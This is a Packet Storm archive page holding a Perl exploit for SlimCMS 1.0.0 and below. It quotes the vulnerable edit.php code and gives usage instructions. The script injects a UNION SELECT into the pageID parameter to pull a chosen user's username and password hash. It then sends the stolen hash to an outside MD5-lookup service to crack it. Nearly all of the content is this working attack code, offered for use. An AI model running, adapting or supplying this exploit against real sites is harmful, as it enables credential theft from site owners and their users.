exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

slimcms-sql.txt

slimcms-sql.txt
Posted Nov 14, 2008
Authored by StAkeR

SlimCMS versions 1.0.0 and below remote SQL injection exploit that makes use of edit.php.

tags | exploit, remote, php, sql injection
SHA-256 | 99e7fb9852ffb8d77ab8bfc3ad1ff2b7a214f6e94edd12a18848a1264d108b78

slimcms-sql.txt

Change Mirror Download
#!/usr/bin/perl

=starting

--------------------------------------------------------
SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit
--------------------------------------------------------
by athos - staker[at]hotmail[dot]it

download on sourceforge


File edit.php

111. if ($password == md5($_POST['password']))
112. {
113. if (strlen($_POST['cmsText']) > 2) {
114. $query = "UPDATE pages SET title = '".$_POST['pageTitle']."', content = '".
strip_tags(stripslashes($_POST['cmsText']),$allowedTags)."' WHERE ID = ".$_GET['pageID'];
115. mysql_query($query);
116. //$successfulyUpdated
117. responseText = $successfulyUpdated;
118. }
119.
120. if (strlen($_GET['pageID']) > 0) {
121. $query = "SELECT * FROM pages WHERE ID = ".$_GET['pageID'];
122. $result = mysql_query($query);
123.
124.
125. while($row = mysql_fetch_array($result)) {
126. $pageTitle = $row['title'];
127. $pageContent = $row['content'];
128. }
129. }

NOTE: Works Regardless PHP.ini Settings!


you must be logged..

Usage: perl "exploit.pl" [HOST] [username:password] [USER_ID]

Output: Username: athos
Password: 27e43424d53719a645ae7cca038b45be



=cut

use strict;
use LWP::UserAgent;
use LWP::Simple;

my $match = q{Editing page "(.+?)"};
my $http = new LWP::UserAgent;
my $post = undef;
my @login = ();
my @out = ();

my ($host,$auth,$myid) = @ARGV;

unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)
{
print STDOUT "Usage: perl $0 [host/path] [username:password] [id]\r\n";
exit;
}

$host .= "/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#";

@login = split(':',$auth);

$post = $http->post($host,[
username => $login[0],
password => $login[1],
]);


if($post->is_success && $post->content =~ $match)
{
@out = split(':',$1);

if($#out => 2)
{
my $cracked = search_MD5($out[1]);

print STDOUT "Username: $out[0]\r\n";
print STDOUT "Password: $out[1] -> $cracked\r\n";
exit;
}
else
{
print STDOUT "Exploit Failed!\r\n";
print STDOUT "Login incorrect or site not vulnerable\\available!\r\n";
exit;
}
}


sub search_MD5
{
my $hash = shift @_;
my $cont = undef;

$cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);

if(length($hash) => 32 && !is_error($cont))
{
return $cont;
}
else
{
return exit;
}
}

__END__

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close